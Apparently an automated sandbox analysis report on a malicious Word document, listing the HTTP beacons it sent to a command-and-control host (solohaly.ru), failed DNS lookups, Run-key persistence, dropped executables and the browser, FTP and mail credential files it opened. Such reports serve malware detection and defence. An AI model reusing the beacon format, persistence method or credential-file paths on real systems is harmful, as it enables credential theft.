Source: global traffic	HTTP traffic detected: POST /ls5/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: solohaly.ru Content-Length: 107 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 35 39 34 33 31 35 31 32 37 39 36 33 30 39 31 31 36 37 32 26 42 55 49 4c 44 3d 30 39 30 31 62 26 49 4e 46 4f 3d 34 30 35 34 36 34 20 40 20 61 64 6d 69 6e 2d 50 43 5c 6d 61 74 74 62 72 6f 77 6e 26 49 50 3d 31 36 33 2e 31 37 32 2e 36 37 2e 31 38 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 33 32 29 Data Ascii: GUID=5943151279630911672&BUILD=0901b&INFO=405464 @ admin-PC\mattbrown&IP=163.172.67.180&TYPE=1&WIN=6.1(x32)
Source: global traffic	HTTP traffic detected: POST /ls5/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: solohaly.ru Content-Length: 107 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 35 39 34 33 31 35 31 32 37 39 36 33 30 39 31 31 36 37 32 26 42 55 49 4c 44 3d 30 39 30 31 62 26 49 4e 46 4f 3d 34 30 35 34 36 34 20 40 20 61 64 6d 69 6e 2d 50 43 5c 6d 61 74 74 62 72 6f 77 6e 26 49 50 3d 31 36 33 2e 31 37 32 2e 36 37 2e 31 38 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 33 32 29 Data Ascii: GUID=5943151279630911672&BUILD=0901b&INFO=405464 @ admin-PC\mattbrown&IP=163.172.67.180&TYPE=1&WIN=6.1(x32)
Source: global traffic	HTTP traffic detected: POST /ls5/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: solohaly.ru Content-Length: 107 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 35 39 34 33 31 35 31 32 37 39 36 33 30 39 31 31 36 37 32 26 42 55 49 4c 44 3d 30 39 30 31 62 26 49 4e 46 4f 3d 34 30 35 34 36 34 20 40 20 61 64 6d 69 6e 2d 50 43 5c 6d 61 74 74 62 72 6f 77 6e 26 49 50 3d 31 36 33 2e 31 37 32 2e 36 37 2e 31 38 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 33 32 29 Data Ascii: GUID=5943151279630911672&BUILD=0901b&INFO=405464 @ admin-PC\mattbrown&IP=163.172.67.180&TYPE=1&WIN=6.1(x32)

Found C&C like URL pattern

Show sources

Source: global traffic

HTTP traffic detected: POST /borjomi/gate.php HTTP/1.0 Host: solohaly.ru Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 206 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

May check the online IP address of the machine

Show sources

Source: unknown

DNS query: name: api.ipify.org

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tinhorecrin.com replaycode: Server failure (2)

Boot Survival:

Creates an autostart registry key

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run 3920565318
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run 3920565318

Creates or modifies windows services

Show sources

Source: C:\Windows\System32\svchost.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP

Modifies existing windows services

Show sources

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP

Creates autostart registry keys with suspicious names

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run 3920565318

Stealing of Sensitive Information:

Searches for user specific document files

Show sources

Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\mattbrown\Documents
Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\mattbrown\Documents

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GlobalSCAPE\CuteFTP Pro\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FlashFXP\4\History.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GlobalSCAPE\CuteFTP Lite\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FileZilla\filezilla.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FileZilla\recentservers.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GlobalSCAPE\CuteFTP Lite\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GlobalSCAPE\CuteFTP Pro\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FlashFXP\3\History.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FileZilla\sitemanager.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FlashFXP\4\Sites.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FlashFXP\3\Sites.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GlobalSCAPE\CuteFTP Lite\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\GlobalSCAPE\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FileZilla\sitemanager.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FlashFXP\4\Quick.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GlobalSCAPE\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GlobalSCAPE\CuteFTP Pro\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FlashFXP\3\Sites.dat
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GlobalSCAPE\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\wcx_ftp.ini
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FileZilla\sitemanager.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GlobalSCAPE\CuteFTP Lite\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\SmartFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GlobalSCAPE\CuteFTP Lite\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\GlobalSCAPE\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GHISLER\wcx_ftp.ini
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FlashFXP\4\History.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FlashFXP\4\Sites.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FlashFXP\3\History.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FlashFXP\4\Quick.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FlashFXP\3\Quick.dat
Source: C:\Windows\explorer.exe	File opened: C:\Windows\wcx_ftp.ini
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FlashFXP\4\Sites.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GlobalSCAPE\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GlobalSCAPE\CuteFTP Pro\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FileZilla\filezilla.xml
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GlobalSCAPE\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GlobalSCAPE\CuteFTP\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\GlobalSCAPE\CuteFTP Pro\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GHISLER\wcx_ftp.ini
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GHISLER\wcx_ftp.ini
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FileZilla\filezilla.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FlashFXP\3\Sites.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FlashFXP\4\History.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FlashFXP\3\Quick.dat
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\GlobalSCAPE\CuteFTP Lite\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GlobalSCAPE\CuteFTP Pro\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\FlashFXP\3\History.dat
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\GlobalSCAPE\CuteFTP Pro\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FlashFXP\3\Quick.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\FileZilla\recentservers.xml
Source: C:\Windows\explorer.exe	File opened: C:\Program Files\GlobalSCAPE\CuteFTP Lite\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\GlobalSCAPE\CuteFTP Lite\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\GlobalSCAPE\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\GlobalSCAPE\CuteFTP Pro\sm.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\SmartFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\FlashFXP\4\Quick.dat
Source: C:\Windows\explorer.exe	File opened: C:\ProgramData\CuteFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\SmartFTP\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Roaming\CuteFTP\sm.dat

Tries to steal Mail credentials

Show sources

Source: C:\Windows\explorer.exe	Key opened: HKEY_USERS\Software\Microsoft\Windows Live Mail
Source: C:\Windows\explorer.exe	Key opened: HKEY_USERS\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Windows\explorer.exe	Key opened: HKEY_USERS\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings
Source: C:\Windows\explorer.exe	Key opened: HKEY_USERS\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Persistence and Installation Behavior:

Drops PE files

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	File created: C:\Users\mattbrown\AppData\Local\YesoYleyn\RebRonr.exe
Source: C:\Windows\explorer.exe	File created: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_0315B416 LoadLibraryA,GetProcAddress,

0_2_0315B416

Generates new code (likely due to unpacking of malware or shellcode)

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Code execution: Found new code

PE file contains an invalid checksum

Show sources

Source: RebRonr.exe.3172.dr	Static PE information: real checksum: 0x0 should be: 0x6dccb
Source: BN3918.tmp.2492.dr	Static PE information: real checksum: 0x0 should be: 0x6dccb

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Windows\explorer.exe	Code function: 1_2_003EB4B2 push ecx; mov dword ptr [esp], edx	1_2_003EB4B4
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0124B4B2 push ecx; mov dword ptr [esp], edx	3_2_0124B4B4
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0127B4B2 push ecx; mov dword ptr [esp], edx	5_2_0127B4B4
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_00591562 push edx; ret	5_2_005915BC
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_005944F2 pushfd ; ret	5_2_00594502
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0038B4B2 push ecx; mov dword ptr [esp], edx	10_2_0038B4B4
Source: C:\Windows\explorer.exe	Code function: 11_2_00D4B4B2 push ecx; mov dword ptr [esp], edx	11_2_00D4B4B4
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 12_2_0033028C push esp; retf 0071h	12_2_0033028D
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0010B4B2 push ecx; mov dword ptr [esp], edx	13_2_0010B4B4

Spreading:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_031596C8 FindFirstFileA,FindClose,	0_2_031596C8
Source: C:\Windows\explorer.exe	Code function: 1_2_003E96C8 FindFirstFileA,FindClose,	1_2_003E96C8
Source: C:\Windows\explorer.exe	Code function: 1_2_100068C0 FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,FindNextFileA,FindClose,	1_2_100068C0
Source: C:\Windows\explorer.exe	Code function: 1_2_10004DF4 FindFirstFileA,lstrcmpiA,lstrcmpiA,FindNextFileA,FindClose,	1_2_10004DF4
Source: C:\Windows\explorer.exe	Code function: 1_2_10007241 FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,StrStrIA,lstrlenA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,FindNextFileA,FindClose,	1_2_10007241
Source: C:\Windows\explorer.exe	Code function: 1_2_10004A84 FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,StrStrIA,FindNextFileA,FindClose,	1_2_10004A84
Source: C:\Windows\explorer.exe	Code function: 1_2_1000419E FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,FindNextFileA,FindClose,	1_2_1000419E
Source: C:\Windows\explorer.exe	Code function: 1_2_1000673C FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,FindNextFileA,FindClose,	1_2_1000673C
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_012496C8 FindFirstFileA,FindClose,	3_2_012496C8
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_012796C8 FindFirstFileA,FindClose,	5_2_012796C8
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_003896C8 FindFirstFileA,FindClose,	10_2_003896C8
Source: C:\Windows\explorer.exe	Code function: 11_2_00D496C8 FindFirstFileA,FindClose,	11_2_00D496C8
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_001096C8 FindFirstFileA,FindClose,	13_2_001096C8

Enumerates the file system

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Caps\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\Extensions\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\databases\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\Cache\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\

System Summary:

Executable creates window controls seldom found in malware

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Window found: window name: SysTabControl32

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key opened: HKEY_USERS\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wwintl.pdb source: WINWORD.EXE
Source:	Binary string: stintl.pdbfice\11.0\5510.0\setup\X86\ship\Files\PFiles\Common\MSShared\smarttag\1033\stintl.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: WINWORD.EXE
Source:	Binary string: fname.pdbbuildlab1\otools\BBT_TEMP\FNAMEO.pdb source: WINWORD.EXE
Source:	Binary string: stintl.pdb source: WINWORD.EXE
Source:	Binary string: buildlab1\otools\BBT_TEMP\FNAMEO.pdb source: WINWORD.EXE
Source:	Binary string: wwintl.pdbevsplab1\otools\BBT_TEMP\WWINTLO.pdb source: WINWORD.EXE
Source:	Binary string: msointl.pdbvsplab1\otools\BBT_TEMP\MSOINTLO.pdb source: WINWORD.EXE
Source:	Binary string: vsplab1\otools\BBT_TEMP\MSOINTLO.pdb source: WINWORD.EXE
Source:	Binary string: evsplab1\otools\BBT_TEMP\WWINTLO.pdb source: WINWORD.EXE
Source:	Binary string: msointl.pdb source: WINWORD.EXE
Source:	Binary string: fice\11.0\5510.0\setup\X86\ship\Files\PFiles\Common\MSShared\smarttag\1033\stintl.pdb source: WINWORD.EXE
Source:	Binary string: fname.pdb source: WINWORD.EXE
Source:	Binary string: scrrun.pdb source: WINWORD.EXE

Document has a 'bytes' value indicative for goodware

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc

Initial sample: OLE document summary bytes = 11000

Binary contains device paths (device paths are often used for kernel mode <-> user mode communication)

Show sources

Source: System.evtx.648.dr	Binary string: \Device\LanmanDatagramReceiverHANUELE-BC60720NetBT_Tcpip_{9980061D-64BB-46BC-8AC6-D9(
Source: System.evtx.648.dr	Binary string: \Device\LanmanDatagramReceiverADMIN-PC(

Binary contains paths to development resources

Show sources

Source: WINWORD.EXE

Binary or memory string: Unrecognized project languageSThe .VBP file for this project contains an invalid or corrupt library references ID=Error accessing file. Network connection may have been lost.-Fixed or static data can't be larger than 64K

Classification label

Show sources

Source: classification engine

Classification label: mal100.evad.expl.rans.phis.spyw.bank.troj.winDOC@9/17@21/5

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_0315A564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	0_2_0315A564
Source: C:\Windows\explorer.exe	Code function: 1_2_003EA564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	1_2_003EA564
Source: C:\Windows\explorer.exe	Code function: 1_2_10002941 LookupPrivilegeValueA,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,	1_2_10002941
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0124A564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	3_2_0124A564
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0127A564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	5_2_0127A564
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0038A564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	10_2_0038A564
Source: C:\Windows\explorer.exe	Code function: 11_2_00D4A564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	11_2_00D4A564
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0010A564 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	13_2_0010A564

Contains functionality to enum processes or threads

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03159B04 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_03159B04

Contains functionality to instantiate COM classes

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03156647 GetWindowsDirectoryW,lstrcatW,LoadLibraryA,GetProcAddress,CoInitialize,CoGetObject,CoCreateInstance,

0_2_03156647

Contains functionality to load and extract PE file embedded resources

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Code function: 5_2_004011E8 SizeofResource,LoadResource,LockResource,GetLastError,FreeResource,SetLastError,

5_2_004011E8

Creates files inside the user directory

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: C:\Users\mattbrown\Application Data\Microsoft\Forms

Creates temporary files

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File created: C:\Users\MATTBR~1\AppData\Local\Temp\~DFDA9C7C8E5191C9A3.TMP

Document contains an OLE Word Document stream indicating a Microsoft Word file

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc

OLE indicator, Word Document stream: true

Document contains summary information with irregular field values

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE document summary: title field not present or empty
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE document summary: edited time not present or 0

Found command line output

Show sources

Source: C:\Windows\System32\cmd.exe

Console Write: ....................C.:.\.>..............]..........................p.....%w@..J4.F................................u....

Might use command line arguments

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: computer	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: uter	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: (VA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: (VA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: (VA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: (VA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: (VA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: baby	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: setting	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: 4ZA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: 4ZA	5_1_004013D0
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Command line argument: 4ZA	5_1_004013D0

Queries process information (via WMI, Win32_Process)

Show sources

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
